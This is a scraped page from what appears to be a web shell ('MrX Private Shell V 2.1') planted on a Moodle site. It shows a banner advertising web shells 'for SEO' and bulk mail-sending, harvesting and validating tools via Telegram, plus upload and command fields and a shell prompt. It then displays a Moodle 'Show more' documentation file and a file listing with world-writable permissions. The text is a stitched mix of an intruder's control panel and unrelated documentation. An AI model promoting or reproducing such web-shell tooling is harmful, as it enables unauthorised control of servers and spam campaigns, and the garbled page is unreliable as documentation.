__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
---
layout: docs
title: "Show more"
date: 2023-06-12T00:00:00+01:00
draft: false
weight: 70
tags:
- MDL-78204
- 4.3
---

## How to use

The show more component is used to show and hide content. It is useful for showing a preview of content and then allowing the user to expand it to see more.

The parameters for the template context are:
* collapsedcontent: The content to show when collapsed.
* expandedcontent: The content to show when expanded.
* extraclasses: Any extra classes added to the showmore outer container.
* buttonextraclasses: Any extra classes added to the button.
* collapsedextraclasses: Any extra classes added to the collapsed content container.
* expandedextraclasses: Any extra classes added to the expanded content container.

## Example

{{< mustache template="core/showmore" >}}
    {
        "collapsedcontent": "Hello...",
        "expandedcontent": "Hello<br>Is it me you're looking for? I can see it in your eyes",
        "extraclasses": "rounded p-2 border",
        "buttonextraclasses": "font-weight-bold"
    }
{{< /mustache >}}

## Example used as a template block

{{< mustache template="tool_componentlibrary/examples/showmore/example" >}}
    {
    }
{{< /mustache >}}

Filemanager

Name Type Size Permission Actions
_index.md File 85 B 0777
actionmenu.md File 6.39 KB 0777
activityicons.md File 8.38 KB 0777
buttons.md File 5.9 KB 0777
coursecards.md File 6.26 KB 0777
dom-modal.md File 4.29 KB 0777
dropdowns.md File 13.23 KB 0777
dynamictabs.md File 2.87 KB 0777
example.md File 1.52 KB 0777
footer.md File 1.49 KB 0777
form-elements.md File 1.08 KB 0777
moodle-icons.md File 1.71 KB 0777
notifications.md File 2.55 KB 0777
search-input.md File 3.42 KB 0777
showmore.md File 1.18 KB 0777
toggle.md File 2.29 KB 0777
Filemanager